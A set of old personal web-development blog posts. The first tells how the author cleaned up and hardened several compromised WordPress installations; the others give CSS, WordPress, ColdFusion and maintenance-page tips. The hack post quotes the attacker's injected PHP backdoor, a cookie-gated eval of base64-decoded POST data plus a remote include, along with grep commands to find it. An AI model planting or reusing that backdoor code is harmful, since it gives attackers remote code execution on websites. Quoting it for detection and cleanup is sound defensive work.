Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.

The hack

I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.

With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.

In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.

The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:

• New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called taxonomy.php, there might be a new file called taxonomy_old.php or taxonomy_new.php. Other common new names included image-like extensions, e.g. crop.php.pngg or wlw_old.php.giff.
• The main WP index.php changed to look like this:
  

  <?php if(md5($_COOKIE['_wp_debugger'])==
  "[long hash string here]"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
  /* Short and sweet */
  if (isset($_GET['license'])) {
  @include(’http://wordpress.net.in/license.txt’);
  } else {
  define(’WP_USE_THEMES’, true);
  require(’./wp-blog-header.php’);
  }
  ?>

• That top line of PHP code was inserted into many other files.
• A new user account could be found in the wp_user table, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in wp_usermeta, along with other entries that didn’t have a corresponding account in wp_user.
• In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.

Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.

Cleaning up

1. First, using phpMyAdmin, delete the “WordPress” entry from wp_user and its corresponding entries in wp_usermeta. Also delete all entries in wp_usermeta where the user_id value doesn’t correspond to a legitimate account in wp_user.
2. SSH into your server and search for offending code. I found the following commands useful:
   

   grep –recursive “eval(base64_decode($_POST['file']));” *

   grep –recursive “http://wordpress.net.in/license.txt” *

   grep –recursive “find suid files” *

   These search all files (*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies.

3. Remove all offending files, via FTP or SSH (see above link).

Securing WordPress

Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).

Then do the following:

1. With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
2. Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
3. Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the user_login field.
4. Change all WP user account passwords.
5. Heck, change any other passwords too (like FTP).
6. Change the default wp_ prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:
   1. Change value of the $table_prefix variable in wp-config.php. I use a string of 5 or so characters from the password page.
   2. In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other wp_-prefixed tables, e.g. tables created by various plugins.)
      

      RENAME TABLE wp_comments TO [your prefix here]_comments;
      RENAME TABLE wp_links TO [your prefix here]_links;
      RENAME TABLE wp_options TO [your prefix here]_options;
      RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
      RENAME TABLE wp_posts TO [your prefix here]_posts;
      RENAME TABLE wp_terms TO [your prefix here]_terms;
      RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
      RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
      RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
      RENAME TABLE wp_users TO [your prefix here]_users;

      Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. wp_posts. You’ll need to change any instances of the same habit in your code using $wpdb->prefix. For instance, this:

      $sql = “SELECT ID, post_title FROM wp_posts WHERE post_status = ‘publish’”;

      Should become:

      $sql = “SELECT ID, post_title FROM “.$wpdb->prefix.”posts WHERE post_status = ‘publish’”;

      Most plugins use this to remain portable, but you might want to search your plugins for hard-coded wp_’s too.

   3. In the options table, change the option_name called wp_user_roles to have your new prefix instead of wp_.
   4. Likewise for all meta_key values in the usermeta table that start with wp_.
7. Finally, re-do the grep SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.

My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.

Here’s some more resources on WordPress that I’m still absorbing:

• Hardening WordPress
• BlogSecurity.net: WordPress (see especially their WordPress Security Whitepaper)

WordPress 2.5

I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5’s new file:

// Change SECRET_KEY to a unique phrase. You won’t have to remember it later,
// so make it long and complicated. You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define(’SECRET_KEY’, ‘put your unique phrase here’); // Change this to a unique phrase.

Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.

One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:

define(’DB_CHARSET’, ‘utf8′);

Comment it out like this:

//define(’DB_CHARSET’, ‘utf8′);

Good luck!

• Firebug - simply incredible
• Web Developer Toolbar - still very valuable, with some great little features
• ColorZilla - a good colour picker, plus some things that the others do, but slightly quicker to access

This is all great. However, more often than not, the times when you really need this sort of stuff is in Internet Explorer - especially pre-7 versions.

I’ve not had much luck in IE 6 with the Firebug Lite implementation. I have just come across a good bookmarklet called XRAY. Compared to the Swiss Army Knives above, it’s very basic, but it provides key information about page elements that can really speed debugging along.

My laptop, with it’s built-in wireless adapter, worked straight away. As the router here is a Belkin Wireless G, I thought I’d go for an adapter for my desktop from Belkin, too. I got an external USB one to match the “G” networking speed of the router.

The instructions for installing the adapter stress - repeatedly - that you should install the supplied software before plugging the adapter in. There’s even a sticker sealing the adapter’s little plastic bag exclaiming, “STOP: Run the installation CD-ROM FIRST” - which I dutifully did.

The adapter didn’t work. It occasionally recognised the network we’ve got here, but always failed to connect to it. I went through endless uninstalls and re-installs, eventually leading me to the inevitably frustrating experience of phoning technical support. After being told that my issue had been “escalated”, I was assured that engineers would call me back.

The next day, having received no call, I called again to see what was happening. They had no record of the previous day’s call at all, so I had to go through the whole thing again. At the end of this the support guy simply said I needed to take my adapter back and get another model.

Naturally I was a little dubious when the guys in the shop on Tottenham Court Road tried to sell me the one that’s twice as expensive - but it made some sense to get a “better” model (the slightly faster G+, though the extra bandwidth capacity is presumably redundant with a G router).

Coming to install it, I thought back to my experience with Belkin tech support, where both guys I spoke to immediately got me to restart the Windows XP “Wireless Zero Configuration” service. I believe this is Windows’ built-in wireless networking manager, which Belkin’s “wireless utility” software promptly shuts down, taking over the OS’s handling of wireless connectivity. Why would they do that unless they thought it’s possible the Belkin utility might itself be getting in the way?

OK, I thought, there’s an obvious thing to try here. Just plug the adapter in and let Windows handle it all. Lo and behold! Windows immediately recognised the hardware, roped in its own XP drivers, and immediately connected to the local network.

I guess maybe the first one I got was just a dud, or wasn’t powerful enough (even though there’s only 10 feet and one wall between my adapter and the router). My bet’s that the vital and important-sounding warnings on the adapter’s packaging and installation instructions about running their CD first is just standard corporate shite, eager to get their own crummy little app running the show, even if their own tech support people know that it’s often the cause of many “issues” found with their hardware.

Anyone buying or having problems with the Belkin Wireless G USB adapter: try ignoring Belkin’s sage advice and letting Windows deal with it.

No, I’ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply it to any form (or other containing element) where unwanted <br />s are being slipped in:

.nobr br {display: none;}

If you’re using <br /> tags yourself in that bit… well, you can always use a bit of a margin, eh?

Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough to work around my HTML when they edit their copy.

WP’s visual editor, however, isn’t. It switches any <div> for a <p>, and otherwise messes stuff up. Maybe there’s a way to coax it into being less interfering. But for now I just need to get the visual editor out the way.

In theory that’s fine - each user just has to uncheck the visual editor box on their WordPress profile. It’s set to be checked by default when a new user is created. It already happened several times that a client has forgotten to do this, gone to edit a tiny bit of copy on the delicately coded home page, only for the editor to mess it all up.

Can’t I just set visual editing to be “off” by default?

Here’s how. In the file wp-admin/admin-functions.php, change line 522 from this:

$user->rich_editing = ‘true’;

To (unsurprisingly) this:

$user->rich_editing = ‘false’;

Things may be changing with new CSS standards, and with the evolution of various hacks and workarounds. Anyway, I just found a solution for a site I’m working on which seems to work well in this instance. I may have reinvented some wheel or other, but here it is.

The design involves a content area and sidebar looking a bit like this (scaled down & simplified here!):

My solution is partly based on the common technique of using a vertically repeated background image to delineate the sidebar and content areas. This usually puts the image as the background of the body tag, giving top-to-bottom vertical columns. Here, I need the rounded top and bottom, and there’s the header and footer (not shown here) to account for, too.

Here’s the markup for my solution:

<div id="main-top"></div>
<div id="main">
<div id="content">
[content here]
</div>
<div id="sidebar">
[sidebar here]
</div>
<div id="main-bottom"></div>
</div>

main-top and main-bottom take care of the rounded top and bottom, with full-width background images and a fixed height (not forgetting the Expanding Box and min-height fixes for good ol’ IE 6).

main is given a vertically repeated background image, about 5px high, for the sidebar’s gradient and the white background for the content. (This design actually has a slight vertical gradient in the content area, too. Setting it as a non-repeating top-aligned background image for content, and giving content a min-height equal to the image’s height, sorted that out.)

The content and sidebar are floated right (don’t forget IE’s double float margin bug!).

The key here is setting main-bottom to clear:both and - my new (for me) innovation - placing it inside the div with the class main. It clears the content and sidebar, exposing the repeated background on main.

Hey presto, equal-height content and sidebar.

Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn’t send. A glance at my ColdFusion log files showed the error “Invalid Addresses”.

Some addresses from some of my domains have started to be used extensively for sending spam (by other people!), so I wondered whether I’d got blacklisted somehow.

A blacklist was involved, but not for addresses. A closer look at the CF error logs showed this:

Invalid Addresses; nested exception is: class javax.mail.SendFailedException: 550-xx.xx.xx.xx is listed at zen.spamhaus.org (127.0.0.11: 550 http://www.spamhaus.org/query/bl?ip=xx.xx.xx.xx)

The x’d out bits are my current IP address. Spamhaus.org seems to be a large spam-fighting clearinghouse, with, among other things, IP blacklists. Looking up my IP address on their database found it listed.

The solution is to add SMTP authentication to your outgoing mail script. For ColdFusion, it looks something like this:

<cfmail to=”user@domain.com” from=”noreply@domain.com” subject=”Message subject” server=”smtp.domain.com” username=”noreply” password=”password”>
… message …
</cfmail>

(Obviously, with suitable bits substituted for your situation…)

Image replacement involves using CSS to hide the text for an element (e.g. a <h1>), and setting the background-image for that element to replace it with an image. Users with visual browsers with CSS get the image; text-only browsers, bots, etc., just see plain text.

It’s not without its detractors and slight drawbacks, but it’s a widespread technique. A quick scan of big-name sites as of writing found it in evidence on stopdesign.com, mezzoblue.com and adobe.com.

However:

Hiding text or links in your content can cause your site to be perceived as untrustworthy since it presents information to search engines differently than to visitors. (Google Webmaster Help Center)

This obviously caused some panic among developers using image replacement. While Google seem to have made some comments saying that they would distinguish between legitimate usage and spamming, they’re pretty vague about what constitutes one or the other. The ever-informative 456bereastreet.com have a good summary. But while their conclusion is quite reassuring, it’s two years old - an aeon in web technology - and still vague:

While it’s good to know that sites are not currently being removed without a manual review, that could change in the future. So I would advise anyone making extensive use of CSS techniques that hide text to make sure that it can’t be mistaken for spamming.

How do you make sure? They don’t say.

More recently, SEO Critique took the approach of checking out high-profile designers with close links to Google and seeing if they used image replacement:

Rand Fishkin at SEOmoz does use CSS image replacement on the SEOmoz.org site, albeit sparingly. … I figure that Rand goes to enough conferences and has enough interaction with Googlers like Matt Cutts and Vanessa Fox that if there was a danger of imminent death by penalty he would know and would quickly order the offense removed. Hence, used sparingly and in the strict spirit of If a Blind Person Were Using a Text Reader How Would It Sound? My opinion is that using CSS image replacement is probably okay.

Probably not an issue to get panicked about, then, but one to keep your eye on. I’ll carry on using it judiciously until further notice.

I’m creating a box with rounded corners around some content using my usual method:

• Place empty <div>s with ids above and below the content <div>
• Create background images for the top and bottom of the box <div>s, and put them in (with fixed width and height for the <div>) with CSS
• Continue the border along either side of the content <div> with CSS borders

All well and good. Only, on IE6/Win, the top <div> wouldn’t shrink to less than about 16px, leaving a gap of whitespace below the 8px high background image.

After much searching, I found a workaround buried in the life-saving Explorer Exposed pages. You can read about the ins and outs over there; here you’re just going to get a nice quick fix.

Put this in the CSS rule for the <div>:

overflow: hidden;

Ever wanted to have a system in place that allows you to easily “switch on” a holding page for the whole of your site for when you need to do some maintenance? Well, that’s relatively easy to do; but what about bots? Even if you’re only down for 10 minutes, what if your luck is such that Googlebot makes its random rounds at precisely that time? Depending on how you’re holding page works, it might register a load of “404 - Not Found” errors, or replace your indexed content with your holding page… Who knows? Not I.

Well, with yet another WordPress upgrade (2.1.3) just out, I thought I would try to get to the bottom of this holding page issue. WordPress upgrades might be made smoother in a future version; but for now, it’s a slightly brutal case of deleting your live files and replacing them. Even without discovering some hair-tearing plugin incompatibilities along the way, or accidentally overwriting a crucial hack you’ve coded into your installation, a proper upgrade can take 10-20 minutes.

The only really useful page I found on the issue of bots and holding pages was over at AskApache.com. You can head over there and work out your own adaptation; I thought I’d document mine here for reference.

Note that the basics of this require PHP running on an Apache web server, with mod_rewrite enabled. The rest assumes you’re using WordPress.

The holding page

I created a file, 503.php, sitting in my site’s root. The code looks something like this:

<?php
header("HTTP/1.1 503 Service Temporarily Unavailable");
header("Status: 503 Service Temporarily Unavailable");
header("Retry-After: 3600");
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Site upgrade in progress</title>
<meta name="robots" content="none" />
</head>
<body>
<h1>Site upgrade in progress</h1>
<p>This site is being upgraded, and can’t currently be accessed.</p>
<p>It should be back up and running very soon. Please check back in a bit!</p>
<hr />
</body>
</html>

Those first two lines of PHP set the request’s HTTP headers to the “503 Service Unavailable” status code. HTTP headers are invisible when you’re browsing the web, but are read by the browser itself and by bots crawling around (and can be checked out via tools like Web-Sniffer and the Firefox Web Developer Extension). This status code means:

The server is currently unable to handle the request due to a temporary overloading or maintenance of the server. The implication is that this is a temporary condition which will be alleviated after some delay.

Just what we want.

The Retry-After bit is used to indicate how long you expect the site to be down for (in seconds). If you are hit by a search engine bot while down, it’ll probably understand this, but of course it doesn’t mean it’ll return as soon as that time’s elapsed. It’s probably got better things to do. At least it knows not to return too soon.

The rest is a plain page for humans, letting them know in English what’s going on. It needn’t be as minimalist as this; you can add branding if you want, and maybe a link to another site to be polite and give people a “way out”.

Allowing yourself access

The next step is to alter your .htaccess file to make sure all requests go to the 503 page.

But hang on - what about your good self? How do you test out all the maintenance you’re doing if you’re just being sent to 503.php with everyone else?

Basically, you filter requests by IP address. Assuming you have a static IP address, you can test that, and only let your own IP through.

Here’s the code for your .htaccess file:

Options +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteCond %{REMOTE_ADDR} !^23\.23\.23\.23
RewriteCond %{REQUEST_URI} !^/503.php [NC]
RewriteRule .* /503.php [L]

Just replace those numbers on the fourth line with your own IP. (Keep the backslashes before each dot!)

Those two RewriteCond (”rewrite condition”) lines basically mean: only apply the following rewrite if the IP of the request (REMOTE_ADDR) doesn’t match the one given, and the file requested (REQUEST_URI) isn’t 503.php (preventing an infinite loop!). As long as it’s not you and they’re not already going to 503.php, the RewriteRule kicks in and serves that page up. (Though note that the URL in the browser address bar doesn’t change for the user; this is rewriting, not redirecting.)

Note that last [L] in the code. That means, if this rewrite rule is processed, make it the last one. This is handy if you have other rewrites (e.g. your WordPress rewrites) that still need to work when you access the site, but which shouldn’t intefere with this rule for everyone else. Of course, for this reason, the above code should go right at the top of your file.

The switch

You may have your own technique. I keep 503.php and 503.htaccess in the web root. When I need to switch my holding page in, I just rename my usual .htaccess to something like LIVE.htaccess, and (quickly!) rename 503.htaccess to .htaccess.

All should now be on hold for the rest of the world. Bots should be politely leaving your site be for the while. And you should be able to get in and muck around to your heart’s content.

Looking through other’s eyes

A pesky stumbling block I came up against developing this technique was my obvious inability to see what other people were seeing via all those other IP addresses. My friend Jim, ever abreast of tech developments, directed me to the Torpark browser. Built on the Firefox shell, this browser is designed to anonymize your web surfing by routing your requests through a labyrinthine series of IP relays (or whatever they might call them).

It’s sluggish, but it works. Whatever your IP ends up being seen as by servers while browsing with this nifty tool, it won’t be your actual IP.

Upgrading WordPress

So, with these tricks ready to go, here’s my revised WordPress upgrade guide. (Do also check the official guide if you’re new to this though!)

One thing to bear in mind with more recent WordPress versions is that if the .htaccess file doesn’t contain WordPress’ rewrite rules at the end, it may try to “fix” things - and break them. Make sure your 503 .htaccess file has your usual WordPress rewrite rules at the end.

1. Backup all your files and your database.
2. Make sure you’ve a record of which files you’ve customized.
3. Do the 503 holding page switch.
4. De-activate all your plugins.
5. Delete all files apart from wp-config.php, the wp-content directory, and of course .htaccess and 503.php
6. Upload all files in the new version of WordPress (excluding the wp-content directory)
7. Run the upgrade script (e.g. http://yourdomain.com/wp-admin/upgrade.php)
8. Re-activate the plugins. Pray.
9. Check the site out, make sure it’s survived OK.
10. Revert to the original .htaccess file.
11. Done!

Update

I’ve just tried implementing this technique to display a holding page for a site that’s yet to be launched. Pretty much the same situation, but an interesting issue came up when I tried to include an image on the holding page. The image wouldn’t appear. I spent a frustrating 5 minutes checking paths and files, but eventually it dawned on me: the browser’s request for the image file was returning a 503 error, not the image!

A little extra .htaccess magic remedies this. Insert the following line before your RewriteRule line:

RewriteCond %{REQUEST_FILENAME} !\.(gif|jpe?g|png)$

Of course you may need to add css or js to that list of filetypes, depending on your holding page’s needs.